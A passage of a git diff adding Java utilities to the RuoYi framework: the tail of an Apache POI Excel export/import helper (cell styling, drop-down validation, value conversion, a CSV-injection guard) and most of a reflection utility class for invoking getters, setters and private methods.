style.setBorderRight(BorderStyle.THIN); + style.setRightBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderLeft(BorderStyle.THIN); + style.setLeftBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderTop(BorderStyle.THIN); + style.setTopBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setBorderBottom(BorderStyle.THIN); + style.setBottomBorderColor(IndexedColors.GREY_50_PERCENT.getIndex()); + style.setFillPattern(FillPatternType.SOLID_FOREGROUND); + style.setFillForegroundColor(excel.backgroundColor().getIndex()); + Font dataFont = wb.createFont(); + dataFont.setFontName("Arial"); + dataFont.setFontHeightInPoints((short) 10); + dataFont.setColor(excel.color().index); + style.setFont(dataFont); + styles.put(key, style); + } + } + return styles; + } + + /** + * 创建单元格 + */ + public Cell createHeadCell(Excel attr, Row row, int column) + { + // 创建列 + Cell cell = row.createCell(column); + // 写入列信息 + cell.setCellValue(attr.name()); + setDataValidation(attr, row, column); + cell.setCellStyle(styles.get(StringUtils.format("header_{}_{}", attr.headerColor(), attr.headerBackgroundColor()))); + if (isSubList()) + { + // 填充默认样式,防止合并单元格样式失效 + sheet.setDefaultColumnStyle(column, styles.get(StringUtils.format("data_{}_{}_{}", attr.align(), attr.color(), attr.backgroundColor()))); + if (attr.needMerge()) + { + sheet.addMergedRegion(new CellRangeAddress(rownum - 1, rownum, column, column)); + } + } + return cell; + } + + /** + * 设置单元格信息 + * + * @param value 单元格值 + * @param attr 注解相关 + * @param cell 单元格信息 + */ + public void setCellVo(Object value, Excel attr, Cell cell) + { + if (ColumnType.STRING == attr.cellType()) + { + String cellValue = Convert.toStr(value); + // 对于任何以表达式触发字符 =-+@开头的单元格,直接使用tab字符作为前缀,防止CSV注入。 + if (StringUtils.startsWithAny(cellValue, FORMULA_STR)) + { + cellValue = RegExUtils.replaceFirst(cellValue, FORMULA_REGEX_STR, "\t$0"); + } + if (value instanceof Collection && StringUtils.equals("[]", cellValue)) + { + cellValue = StringUtils.EMPTY; + } + cell.setCellValue(StringUtils.isNull(cellValue) ? attr.defaultValue() : cellValue + attr.suffix()); + } + else if (ColumnType.NUMERIC == attr.cellType()) + { + if (StringUtils.isNotNull(value)) + { + cell.setCellValue(StringUtils.contains(Convert.toStr(value), ".") ? Convert.toDouble(value) : Convert.toInt(value)); + } + } + else if (ColumnType.IMAGE == attr.cellType()) + { + ClientAnchor anchor = new XSSFClientAnchor(0, 0, 0, 0, (short) cell.getColumnIndex(), cell.getRow().getRowNum(), (short) (cell.getColumnIndex() + 1), cell.getRow().getRowNum() + 1); + String imagePath = Convert.toStr(value); + if (StringUtils.isNotEmpty(imagePath)) + { + byte[] data = ImageUtils.getImage(imagePath); + getDrawingPatriarch(cell.getSheet()).createPicture(anchor, + cell.getSheet().getWorkbook().addPicture(data, getImageType(data))); + } + } + } + + /** + * 获取画布 + */ + public static Drawing getDrawingPatriarch(Sheet sheet) + { + if (sheet.getDrawingPatriarch() == null) + { + sheet.createDrawingPatriarch(); + } + return sheet.getDrawingPatriarch(); + } + + /** + * 获取图片类型,设置图片插入类型 + */ + public int getImageType(byte[] value) + { + String type = FileTypeUtils.getFileExtendName(value); + if ("JPG".equalsIgnoreCase(type)) + { + return Workbook.PICTURE_TYPE_JPEG; + } + else if ("PNG".equalsIgnoreCase(type)) + { + return Workbook.PICTURE_TYPE_PNG; + } + return Workbook.PICTURE_TYPE_JPEG; + } + + /** + * 创建表格样式 + */ + public void setDataValidation(Excel attr, Row row, int column) + { + if (attr.name().indexOf("注:") >= 0) + { + sheet.setColumnWidth(column, 6000); + } + else + { + // 设置列宽 + sheet.setColumnWidth(column, (int) ((attr.width() + 0.72) * 256)); + } + if (StringUtils.isNotEmpty(attr.prompt()) || attr.combo().length > 0) + { + if (attr.combo().length > 15 || StringUtils.join(attr.combo()).length() > 255) + { + // 如果下拉数大于15或字符串长度大于255,则使用一个新sheet存储,避免生成的模板下拉值获取不到 + setXSSFValidationWithHidden(sheet, attr.combo(), attr.prompt(), 1, 100, column, column); + } + else + { + // 提示信息或只能选择不能输入的列内容. + setPromptOrValidation(sheet, attr.combo(), attr.prompt(), 1, 100, column, column); + } + } + } + + /** + * 添加单元格 + */ + public Cell addCell(Excel attr, Row row, T vo, Field field, int column) + { + Cell cell = null; + try + { + // 设置行高 + row.setHeight(maxHeight); + // 根据Excel中设置情况决定是否导出,有些情况需要保持为空,希望用户填写这一列. + if (attr.isExport()) + { + // 创建cell + cell = row.createCell(column); + if (isSubListValue(vo) && getListCellValue(vo).size() > 1 && attr.needMerge()) + { + CellRangeAddress cellAddress = new CellRangeAddress(subMergedFirstRowNum, subMergedLastRowNum, column, column); + sheet.addMergedRegion(cellAddress); + } + cell.setCellStyle(styles.get(StringUtils.format("data_{}_{}_{}", attr.align(), attr.color(), attr.backgroundColor()))); + + // 用于读取对象中的属性 + Object value = getTargetValue(vo, field, attr); + String dateFormat = attr.dateFormat(); + String readConverterExp = attr.readConverterExp(); + String separator = attr.separator(); + String dictType = attr.dictType(); + String enumType = attr.enumType(); + if (StringUtils.isNotEmpty(dateFormat) && StringUtils.isNotNull(value)) + { + cell.setCellValue(parseDateToStr(dateFormat, value)); + } + else if (StringUtils.isNotEmpty(readConverterExp) && StringUtils.isNotNull(value)) + { + cell.setCellValue(convertByExp(Convert.toStr(value), readConverterExp, separator)); + } + else if (StringUtils.isNotEmpty(dictType) && StringUtils.isNotNull(value)) + { + if (!sysDictMap.containsKey(dictType + value)) + { + String lable = convertDictByExp(Convert.toStr(value), dictType, separator); + sysDictMap.put(dictType + value, lable); + } + cell.setCellValue(sysDictMap.get(dictType + value)); + } + else if (StringUtils.isNotEmpty(enumType)){ + String lable = getEnumByType(Convert.toStr(value), enumType); + cell.setCellValue(lable); + } + else if (value instanceof BigDecimal && -1 != attr.scale()) + { + cell.setCellValue((((BigDecimal) value).setScale(attr.scale(), attr.roundingMode())).doubleValue()); + } + else if (!attr.handler().equals(ExcelHandlerAdapter.class)) + { + cell.setCellValue(dataFormatHandlerAdapter(value, attr)); + } + else + { + // 设置列类型 + setCellVo(value, attr, cell); + } + addStatisticsData(column, Convert.toStr(value), attr); + } + } + catch (Exception e) + { + log.error("导出Excel失败{}", e); + } + return cell; + } + + /** + * 设置 POI XSSFSheet 单元格提示或选择框 + * + * @param sheet 表单 + * @param textlist 下拉框显示的内容 + * @param promptContent 提示内容 + * @param firstRow 开始行 + * @param endRow 结束行 + * @param firstCol 开始列 + * @param endCol 结束列 + */ + public void setPromptOrValidation(Sheet sheet, String[] textlist, String promptContent, int firstRow, int endRow, + int firstCol, int endCol) + { + DataValidationHelper helper = sheet.getDataValidationHelper(); + DataValidationConstraint constraint = textlist.length > 0 ? helper.createExplicitListConstraint(textlist) : helper.createCustomConstraint("DD1"); + CellRangeAddressList regions = new CellRangeAddressList(firstRow, endRow, firstCol, endCol); + DataValidation dataValidation = helper.createValidation(constraint, regions); + if (StringUtils.isNotEmpty(promptContent)) + { + // 如果设置了提示信息则鼠标放上去提示 + dataValidation.createPromptBox("", promptContent); + dataValidation.setShowPromptBox(true); + } + // 处理Excel兼容性问题 + if (dataValidation instanceof XSSFDataValidation) + { + dataValidation.setSuppressDropDownArrow(true); + dataValidation.setShowErrorBox(true); + } + else + { + dataValidation.setSuppressDropDownArrow(false); + } + sheet.addValidationData(dataValidation); + } + + /** + * 设置某些列的值只能输入预制的数据,显示下拉框(兼容超出一定数量的下拉框). + * + * @param sheet 要设置的sheet. + * @param textlist 下拉框显示的内容 + * @param promptContent 提示内容 + * @param firstRow 开始行 + * @param endRow 结束行 + * @param firstCol 开始列 + * @param endCol 结束列 + */ + public void setXSSFValidationWithHidden(Sheet sheet, String[] textlist, String promptContent, int firstRow, int endRow, int firstCol, int endCol) + { + String hideSheetName = "combo_" + firstCol + "_" + endCol; + Sheet hideSheet = wb.createSheet(hideSheetName); // 用于存储 下拉菜单数据 + for (int i = 0; i < textlist.length; i++) + { + hideSheet.createRow(i).createCell(0).setCellValue(textlist[i]); + } + // 创建名称,可被其他单元格引用 + Name name = wb.createName(); + name.setNameName(hideSheetName + "_data"); + name.setRefersToFormula(hideSheetName + "!$A$1:$A$" + textlist.length); + DataValidationHelper helper = sheet.getDataValidationHelper(); + // 加载下拉列表内容 + DataValidationConstraint constraint = helper.createFormulaListConstraint(hideSheetName + "_data"); + // 设置数据有效性加载在哪个单元格上,四个参数分别是:起始行、终止行、起始列、终止列 + CellRangeAddressList regions = new CellRangeAddressList(firstRow, endRow, firstCol, endCol); + // 数据有效性对象 + DataValidation dataValidation = helper.createValidation(constraint, regions); + if (StringUtils.isNotEmpty(promptContent)) + { + // 如果设置了提示信息则鼠标放上去提示 + dataValidation.createPromptBox("", promptContent); + dataValidation.setShowPromptBox(true); + } + // 处理Excel兼容性问题 + if (dataValidation instanceof XSSFDataValidation) + { + dataValidation.setSuppressDropDownArrow(true); + dataValidation.setShowErrorBox(true); + } + else + { + dataValidation.setSuppressDropDownArrow(false); + } + + sheet.addValidationData(dataValidation); + // 设置hiddenSheet隐藏 + wb.setSheetHidden(wb.getSheetIndex(hideSheet), true); + } + + /** + * 解析导出值 0=男,1=女,2=未知 + * + * @param propertyValue 参数值 + * @param converterExp 翻译注解 + * @param separator 分隔符 + * @return 解析后值 + */ + public static String convertByExp(String propertyValue, String converterExp, String separator) + { + StringBuilder propertyString = new StringBuilder(); + String[] convertSource = converterExp.split(","); + for (String item : convertSource) + { + String[] itemArray = item.split("="); + if (StringUtils.containsAny(propertyValue, separator)) + { + for (String value : propertyValue.split(separator)) + { + if (itemArray[0].equals(value)) + { + propertyString.append(itemArray[1] + separator); + break; + } + } + } + else + { + if (itemArray[0].equals(propertyValue)) + { + return itemArray[1]; + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 反向解析值 男=0,女=1,未知=2 + * + * @param propertyValue 参数值 + * @param converterExp 翻译注解 + * @param separator 分隔符 + * @return 解析后值 + */ + public static String reverseByExp(String propertyValue, String converterExp, String separator) + { + StringBuilder propertyString = new StringBuilder(); + String[] convertSource = converterExp.split(","); + for (String item : convertSource) + { + String[] itemArray = item.split("="); + if (StringUtils.containsAny(propertyValue, separator)) + { + for (String value : propertyValue.split(separator)) + { + if (itemArray[1].equals(value)) + { + propertyString.append(itemArray[0] + separator); + break; + } + } + } + else + { + if (itemArray[1].equals(propertyValue)) + { + return itemArray[0]; + } + } + } + return StringUtils.stripEnd(propertyString.toString(), separator); + } + + /** + * 解析字典值 + * + * @param dictValue 字典值 + * @param dictType 字典类型 + * @param separator 分隔符 + * @return 字典标签 + */ + public static String convertDictByExp(String dictValue, String dictType, String separator) + { + return DictUtils.getDictLabel(dictType, dictValue, separator); + } + + /** + * 反向解析值字典值 + * + * @param dictLabel 字典标签 + * @param dictType 字典类型 + * @param separator 分隔符 + * @return 字典值 + */ + public static String reverseDictByExp(String dictLabel, String dictType, String separator) + { + return DictUtils.getDictValue(dictType, dictLabel, separator); + } + + public static String getEnumByType(String dictLabel, String dictType) + { + RecordEnum[] values = RecordEnum.values(); + for (int i = 0; i < values.length; i++) { + String code = String.valueOf(values[i].getCode()); + if (code.equals(dictLabel)) return values[i].getInfo(); + } + return ""; + } + + + /** + * 数据处理器 + * + * @param value 数据值 + * @param excel 数据注解 + * @return + */ + public String dataFormatHandlerAdapter(Object value, Excel excel) + { + try + { + Object instance = excel.handler().newInstance(); + Method formatMethod = excel.handler().getMethod("format", new Class[] { Object.class, String[].class }); + value = formatMethod.invoke(instance, value, excel.args()); + } + catch (Exception e) + { + log.error("不能格式化数据 " + excel.handler(), e.getMessage()); + } + return Convert.toStr(value); + } + + /** + * 合计统计信息 + */ + private void addStatisticsData(Integer index, String text, Excel entity) + { + if (entity != null && entity.isStatistics()) + { + Double temp = 0D; + if (!statistics.containsKey(index)) + { + statistics.put(index, temp); + } + try + { + temp = Double.valueOf(text); + } + catch (NumberFormatException e) + { + } + statistics.put(index, statistics.get(index) + temp); + } + } + + /** + * 创建统计行 + */ + public void addStatisticsRow() + { + if (statistics.size() > 0) + { + Row row = sheet.createRow(sheet.getLastRowNum() + 1); + Set keys = statistics.keySet(); + Cell cell = row.createCell(0); + cell.setCellStyle(styles.get("total")); + cell.setCellValue("合计"); + + for (Integer key : keys) + { + cell = row.createCell(key); + cell.setCellStyle(styles.get("total")); + cell.setCellValue(DOUBLE_FORMAT.format(statistics.get(key))); + } + statistics.clear(); + } + } + + /** + * 编码文件名 + */ + public String encodingFilename(String filename) + { + filename = UUID.randomUUID() + "_" + filename + ".xlsx"; + return filename; + } + + /** + * 获取下载路径 + * + * @param filename 文件名称 + */ + public String getAbsoluteFile(String filename) + { + String downloadPath = RuoYiConfig.getDownloadPath() + filename; + File desc = new File(downloadPath); + if (!desc.getParentFile().exists()) + { + desc.getParentFile().mkdirs(); + } + return downloadPath; + } + + /** + * 获取bean中的属性值 + * + * @param vo 实体对象 + * @param field 字段 + * @param excel 注解 + * @return 最终的属性值 + * @throws Exception + */ + private Object getTargetValue(T vo, Field field, Excel excel) throws Exception + { + Object o = field.get(vo); + if (StringUtils.isNotEmpty(excel.targetAttr())) + { + String target = excel.targetAttr(); + if (target.contains(".")) + { + String[] targets = target.split("[.]"); + for (String name : targets) + { + o = getValue(o, name); + } + } + else + { + o = getValue(o, target); + } + } + return o; + } + + /** + * 以类的属性的get方法方法形式获取值 + * + * @param o + * @param name + * @return value + * @throws Exception + */ + private Object getValue(Object o, String name) throws Exception + { + if (StringUtils.isNotNull(o) && StringUtils.isNotEmpty(name)) + { + Class clazz = o.getClass(); + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + o = field.get(o); + } + return o; + } + + /** + * 得到所有定义字段 + */ + private void createExcelField() + { + this.fields = getFields(); + this.fields = this.fields.stream().sorted(Comparator.comparing(objects -> ((Excel) objects[1]).sort())).collect(Collectors.toList()); + this.maxHeight = getRowHeight(); + } + + /** + * 获取字段注解信息 + */ + public List getFields() + { + List fields = new ArrayList(); + List tempFields = new ArrayList<>(); + tempFields.addAll(Arrays.asList(clazz.getSuperclass().getDeclaredFields())); + tempFields.addAll(Arrays.asList(clazz.getDeclaredFields())); + for (Field field : tempFields) + { + if (!ArrayUtils.contains(this.excludeFields, field.getName())) + { + // 单注解 + if (field.isAnnotationPresent(Excel.class)) + { + Excel attr = field.getAnnotation(Excel.class); + if (attr != null && (attr.type() == Type.ALL || attr.type() == type)) + { + field.setAccessible(true); + fields.add(new Object[] { field, attr }); + } + if (Collection.class.isAssignableFrom(field.getType())) + { + subMethod = getSubMethod(field.getName(), clazz); + ParameterizedType pt = (ParameterizedType) field.getGenericType(); + Class subClass = (Class) pt.getActualTypeArguments()[0]; + this.subFields = FieldUtils.getFieldsListWithAnnotation(subClass, Excel.class); + } + } + + // 多注解 + if (field.isAnnotationPresent(Excels.class)) + { + Excels attrs = field.getAnnotation(Excels.class); + Excel[] excels = attrs.value(); + for (Excel attr : excels) + { + if (!ArrayUtils.contains(this.excludeFields, field.getName() + "." + attr.targetAttr()) + && (attr != null && (attr.type() == Type.ALL || attr.type() == type))) + { + field.setAccessible(true); + fields.add(new Object[] { field, attr }); + } + } + } + } + } + return fields; + } + + /** + * 根据注解获取最大行高 + */ + public short getRowHeight() + { + double maxHeight = 0; + for (Object[] os : this.fields) + { + Excel excel = (Excel) os[1]; + maxHeight = Math.max(maxHeight, excel.height()); + } + return (short) (maxHeight * 20); + } + + /** + * 创建一个工作簿 + */ + public void createWorkbook() + { + this.wb = new SXSSFWorkbook(500); + this.sheet = wb.createSheet(); + wb.setSheetName(0, sheetName); + this.styles = createStyles(wb); + } + + /** + * 创建工作表 + * + * @param sheetNo sheet数量 + * @param index 序号 + */ + public void createSheet(int sheetNo, int index) + { + // 设置工作表的名称. + if (sheetNo > 1 && index > 0) + { + this.sheet = wb.createSheet(); + this.createTitle(); + wb.setSheetName(index, sheetName + index); + } + } + + /** + * 获取单元格值 + * + * @param row 获取的行 + * @param column 获取单元格列号 + * @return 单元格值 + */ + public Object getCellValue(Row row, int column) + { + if (row == null) + { + return row; + } + Object val = ""; + try + { + Cell cell = row.getCell(column); + if (StringUtils.isNotNull(cell)) + { + if (cell.getCellType() == CellType.NUMERIC || cell.getCellType() == CellType.FORMULA) + { + val = cell.getNumericCellValue(); + if (DateUtil.isCellDateFormatted(cell)) + { + val = DateUtil.getJavaDate((Double) val); // POI Excel 日期格式转换 + } + else + { + if ((Double) val % 1 != 0) + { + val = new BigDecimal(val.toString()); + } + else + { + val = new DecimalFormat("0").format(val); + } + } + } + else if (cell.getCellType() == CellType.STRING) + { + val = cell.getStringCellValue(); + } + else if (cell.getCellType() == CellType.BOOLEAN) + { + val = cell.getBooleanCellValue(); + } + else if (cell.getCellType() == CellType.ERROR) + { + val = cell.getErrorCellValue(); + } + + } + } + catch (Exception e) + { + return val; + } + return val; + } + + /** + * 判断是否是空行 + * + * @param row 判断的行 + * @return + */ + private boolean isRowEmpty(Row row) + { + if (row == null) + { + return true; + } + for (int i = row.getFirstCellNum(); i < row.getLastCellNum(); i++) + { + Cell cell = row.getCell(i); + if (cell != null && cell.getCellType() != CellType.BLANK) + { + return false; + } + } + return true; + } + + /** + * 获取Excel2003图片 + * + * @param sheet 当前sheet对象 + * @param workbook 工作簿对象 + * @return Map key:图片单元格索引(1_1)String,value:图片流PictureData + */ + public static Map getSheetPictures03(HSSFSheet sheet, HSSFWorkbook workbook) + { + Map sheetIndexPicMap = new HashMap(); + List pictures = workbook.getAllPictures(); + if (!pictures.isEmpty()) + { + for (HSSFShape shape : sheet.getDrawingPatriarch().getChildren()) + { + HSSFClientAnchor anchor = (HSSFClientAnchor) shape.getAnchor(); + if (shape instanceof HSSFPicture) + { + HSSFPicture pic = (HSSFPicture) shape; + int pictureIndex = pic.getPictureIndex() - 1; + HSSFPictureData picData = pictures.get(pictureIndex); + String picIndex = anchor.getRow1() + "_" + anchor.getCol1(); + sheetIndexPicMap.put(picIndex, picData); + } + } + return sheetIndexPicMap; + } + else + { + return sheetIndexPicMap; + } + } + + /** + * 获取Excel2007图片 + * + * @param sheet 当前sheet对象 + * @param workbook 工作簿对象 + * @return Map key:图片单元格索引(1_1)String,value:图片流PictureData + */ + public static Map getSheetPictures07(XSSFSheet sheet, XSSFWorkbook workbook) + { + Map sheetIndexPicMap = new HashMap(); + for (POIXMLDocumentPart dr : sheet.getRelations()) + { + if (dr instanceof XSSFDrawing) + { + XSSFDrawing drawing = (XSSFDrawing) dr; + List shapes = drawing.getShapes(); + for (XSSFShape shape : shapes) + { + if (shape instanceof XSSFPicture) + { + XSSFPicture pic = (XSSFPicture) shape; + XSSFClientAnchor anchor = pic.getPreferredSize(); + CTMarker ctMarker = anchor.getFrom(); + String picIndex = ctMarker.getRow() + "_" + ctMarker.getCol(); + sheetIndexPicMap.put(picIndex, pic.getPictureData()); + } + } + } + } + return sheetIndexPicMap; + } + + /** + * 格式化不同类型的日期对象 + * + * @param dateFormat 日期格式 + * @param val 被格式化的日期对象 + * @return 格式化后的日期字符 + */ + public String parseDateToStr(String dateFormat, Object val) + { + if (val == null) + { + return ""; + } + String str; + if (val instanceof Date) + { + str = DateUtils.parseDateToStr(dateFormat, (Date) val); + } + else if (val instanceof LocalDateTime) + { + str = DateUtils.parseDateToStr(dateFormat, DateUtils.toDate((LocalDateTime) val)); + } + else if (val instanceof LocalDate) + { + str = DateUtils.parseDateToStr(dateFormat, DateUtils.toDate((LocalDate) val)); + } + else + { + str = val.toString(); + } + return str; + } + + /** + * 是否有对象的子列表 + */ + public boolean isSubList() + { + return StringUtils.isNotNull(subFields) && subFields.size() > 0; + } + + /** + * 是否有对象的子列表,集合不为空 + */ + public boolean isSubListValue(T vo) + { + return StringUtils.isNotNull(subFields) && subFields.size() > 0 && StringUtils.isNotNull(getListCellValue(vo)) && getListCellValue(vo).size() > 0; + } + + /** + * 获取集合的值 + */ + public Collection getListCellValue(Object obj) + { + Object value; + try + { + value = subMethod.invoke(obj, new Object[] {}); + } + catch (Exception e) + { + return new ArrayList(); + } + return (Collection) value; + } + + /** + * 获取对象的子列表方法 + * + * @param name 名称 + * @param pojoClass 类对象 + * @return 子列表方法 + */ + public Method getSubMethod(String name, Class pojoClass) + { + StringBuffer getMethodName = new StringBuffer("get"); + getMethodName.append(name.substring(0, 1).toUpperCase()); + getMethodName.append(name.substring(1)); + Method method = null; + try + { + method = pojoClass.getMethod(getMethodName.toString(), new Class[] {}); + } + catch (Exception e) + { + log.error("获取对象异常{}", e.getMessage()); + } + return method; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java new file mode 100644 index 0000000..b19953e --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/reflect/ReflectUtils.java @@ -0,0 +1,410 @@ +package com.ruoyi.common.utils.reflect; + +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; +import java.util.Date; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.Validate; +import org.apache.poi.ss.usermodel.DateUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.core.text.Convert; +import com.ruoyi.common.utils.DateUtils; + +/** + * 反射工具类. 提供调用getter/setter方法, 访问私有变量, 调用私有方法, 获取泛型类型Class, 被AOP过的真实类等工具函数. + * + * @author ruoyi + */ +@SuppressWarnings("rawtypes") +public class ReflectUtils +{ + private static final String SETTER_PREFIX = "set"; + + private static final String GETTER_PREFIX = "get"; + + private static final String CGLIB_CLASS_SEPARATOR = "$$"; + + private static Logger logger = LoggerFactory.getLogger(ReflectUtils.class); + + /** + * 调用Getter方法. + * 支持多级,如:对象名.对象名.方法 + */ + @SuppressWarnings("unchecked") + public static E invokeGetter(Object obj, String propertyName) + { + Object object = obj; + for (String name : StringUtils.split(propertyName, ".")) + { + String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(name); + object = invokeMethod(object, getterMethodName, new Class[] {}, new Object[] {}); + } + return (E) object; + } + + /** + * 调用Setter方法, 仅匹配方法名。 + * 支持多级,如:对象名.对象名.方法 + */ + public static void invokeSetter(Object obj, String propertyName, E value) + { + Object object = obj; + String[] names = StringUtils.split(propertyName, "."); + for (int i = 0; i < names.length; i++) + { + if (i < names.length - 1) + { + String getterMethodName = GETTER_PREFIX + StringUtils.capitalize(names[i]); + object = invokeMethod(object, getterMethodName, new Class[] {}, new Object[] {}); + } + else + { + String setterMethodName = SETTER_PREFIX + StringUtils.capitalize(names[i]); + invokeMethodByName(object, setterMethodName, new Object[] { value }); + } + } + } + + /** + * 直接读取对象属性值, 无视private/protected修饰符, 不经过getter函数. + */ + @SuppressWarnings("unchecked") + public static E getFieldValue(final Object obj, final String fieldName) + { + Field field = getAccessibleField(obj, fieldName); + if (field == null) + { + logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + fieldName + "] 字段 "); + return null; + } + E result = null; + try + { + result = (E) field.get(obj); + } + catch (IllegalAccessException e) + { + logger.error("不可能抛出的异常{}", e.getMessage()); + } + return result; + } + + /** + * 直接设置对象属性值, 无视private/protected修饰符, 不经过setter函数. + */ + public static void setFieldValue(final Object obj, final String fieldName, final E value) + { + Field field = getAccessibleField(obj, fieldName); + if (field == null) + { + // throw new IllegalArgumentException("在 [" + obj.getClass() + "] 中,没有找到 [" + fieldName + "] 字段 "); + logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + fieldName + "] 字段 "); + return; + } + try + { + field.set(obj, value); + } + catch (IllegalAccessException e) + { + logger.error("不可能抛出的异常: {}", e.getMessage()); + } + } + + /** + * 直接调用对象方法, 无视private/protected修饰符. + * 用于一次性调用的情况,否则应使用getAccessibleMethod()函数获得Method后反复调用. + * 同时匹配方法名+参数类型, + */ + @SuppressWarnings("unchecked") + public static E invokeMethod(final Object obj, final String methodName, final Class[] parameterTypes, + final Object[] args) + { + if (obj == null || methodName == null) + { + return null; + } + Method method = getAccessibleMethod(obj, methodName, parameterTypes); + if (method == null) + { + logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + methodName + "] 方法 "); + return null; + } + try + { + return (E) method.invoke(obj, args); + } + catch (Exception e) + { + String msg = "method: " + method + ", obj: " + obj + ", args: " + args + ""; + throw convertReflectionExceptionToUnchecked(msg, e); + } + } + + /** + * 直接调用对象方法, 无视private/protected修饰符, + * 用于一次性调用的情况,否则应使用getAccessibleMethodByName()函数获得Method后反复调用. + * 只匹配函数名,如果有多个同名函数调用第一个。 + */ + @SuppressWarnings("unchecked") + public static E invokeMethodByName(final Object obj, final String methodName, final Object[] args) + { + Method method = getAccessibleMethodByName(obj, methodName, args.length); + if (method == null) + { + // 如果为空不报错,直接返回空。 + logger.debug("在 [" + obj.getClass() + "] 中,没有找到 [" + methodName + "] 方法 "); + return null; + } + try + { + // 类型转换(将参数数据类型转换为目标方法参数类型) + Class[] cs = method.getParameterTypes(); + for (int i = 0; i < cs.length; i++) + { + if (args[i] != null && !args[i].getClass().equals(cs[i])) + { + if (cs[i] == String.class) + { + args[i] = Convert.toStr(args[i]); + if (StringUtils.endsWith((String) args[i], ".0")) + { + args[i] = StringUtils.substringBefore((String) args[i], ".0"); + } + } + else if (cs[i] == Integer.class) + { + args[i] = Convert.toInt(args[i]); + } + else if (cs[i] == Long.class) + { + args[i] = Convert.toLong(args[i]); + } + else if (cs[i] == Double.class) + { + args[i] = Convert.toDouble(args[i]); + } + else if (cs[i] == Float.class) + { + args[i] = Convert.toFloat(args[i]); + } + else if (cs[i] == Date.class) + { + if (args[i] instanceof String) + { + args[i] = DateUtils.parseDate(args[i]); + } + else + { + args[i] = DateUtil.getJavaDate((Double) args[i]); + } + } + else if (cs[i] == boolean.class || cs[i] == Boolean.class) + { + args[i] = Convert.toBool(args[i]); + } + } + } + return (E) method.invoke(obj, args); + } + catch (Exception e) + { + String msg = "method: " + method + ", obj: " + obj + ", args: " + args + ""; + throw convertReflectionExceptionToUnchecked(msg, e); + } + } + + /** + * 循环向上转型, 获取对象的DeclaredField, 并强制设置为可访问. + * 如向上转型到Object仍无法找到, 返回null. + */ + public static Field getAccessibleField(final Object obj, final String fieldName) + { + // 为空不报错。直接返回 null + if (obj == null) + { + return null; + } + Validate.notBlank(fieldName, "fieldName can't be blank"); + for (Class superClass = obj.getClass(); superClass != Object.class; superClass = superClass.getSuperclass()) + { + try + { + Field field = superClass.getDeclaredField(fieldName); + makeAccessible(field); + return field; + } + catch (NoSuchFieldException e) + { + continue; + } + } + return null; + } + + /** + * 循环向上转型, 获取对象的DeclaredMethod,并强制设置为可访问. + * 如向上转型到Object仍无法找到, 返回null. + * 匹配函数名+参数类型。 + * 用于方法需要被多次调用的情况. 先使用本函数先取得Method,然后调用Method.invoke(Object obj, Object... args) + */ + public static Method getAccessibleMethod(final Object obj, final String methodName, + final Class... parameterTypes) + { + // 为空不报错。直接返回 null + if (obj == null) + { + return null; + } + Validate.notBlank(methodName, "methodName can't be blank"); + for (Class searchType = obj.getClass(); searchType != Object.class; searchType = searchType.getSuperclass()) + { + try + { + Method method = searchType.getDeclaredMethod(methodName, parameterTypes); + makeAccessible(method); + return method; + } + catch (NoSuchMethodException e) + { + continue; + } + } + return null; + } + + /** + * 循环向上转型, 获取对象的DeclaredMethod,并强制设置为可访问. + * 如向上转型到Object仍无法找到, 返回null. + * 只匹配函数名。 + * 用于方法需要被多次调用的情况. 先使用本函数先取得Method,然后调用Method.invoke(Object obj, Object... args) + */ + public static Method getAccessibleMethodByName(final Object obj, final String methodName, int argsNum) + { + // 为空不报错。直接返回 null + if (obj == null) + { + return null; + } + Validate.notBlank(methodName, "methodName can't be blank"); + for (Class searchType = obj.getClass(); searchType != Object.class; searchType = searchType.getSuperclass()) + { + Method[] methods = searchType.getDeclaredMethods(); + for (Method method : methods) + { + if (method.getName().equals(methodName) && method.getParameterTypes().length == argsNum) + { + makeAccessible(method); + return method; + } + } + } + return null; + } + + /** + * 改变private/protected的方法为public,尽量不调用实际改动的语句,避免JDK的SecurityManager抱怨。 + */ + public static void makeAccessible(Method method) + { + if ((!Modifier.isPublic(method.getModifiers()) || !Modifier.isPublic(method.getDeclaringClass().getModifiers())) + && !method.isAccessible()) + { + method.setAccessible(true); + } + } + + /** + * 改变private/protected的成员变量为public,尽量不调用实际改动的语句,避免JDK的SecurityManager抱怨。 + */ + public static void makeAccessible(Field field) + { + if ((!Modifier.isPublic(field.getModifiers()) || !Modifier.isPublic(field.getDeclaringClass().getModifiers()) + || Modifier.isFinal(field.getModifiers())) && !field.isAccessible()) + { + field.setAccessible(true); + } + } + + /** + * 通过反射, 获得Class定义中声明的泛型参数的类型, 注意泛型必须定义在父类处 + * 如无法找到, 返回Object.class. + */ + @SuppressWarnings("unchecked") + public static Class getClassGenricType(final Class clazz) + { + return getClassGenricType(clazz, 0); + } + + /** + * 通过反射, 获得Class定义中声明的父类的泛型参数的类型. + * 如无法找到, 返回Object.class. + */ + public static Class getClassGenricType(final Class clazz, final int index) + { + Type genType = clazz.getGenericSuperclass(); + + if (!(genType instanceof ParameterizedType)) + { + logger.debug(clazz.getSimpleName() + "'s superclass not ParameterizedType"); + return Object.class; + } + + Type[] params = ((ParameterizedType) genType).getActualTypeArguments(); + + if (index >= params.length || index < 0) + { + logger.debug("Index: " + index + ", Size of " + clazz.getSimpleName() + "'s Parameterized Type: " + + params.length); + return Object.class; + } + if (!(params[index] instanceof Class)) + { + logger.debug(clazz.getSimpleName() + " not set the actual class on superclass generic parameter"); + return Object.class; + } + + 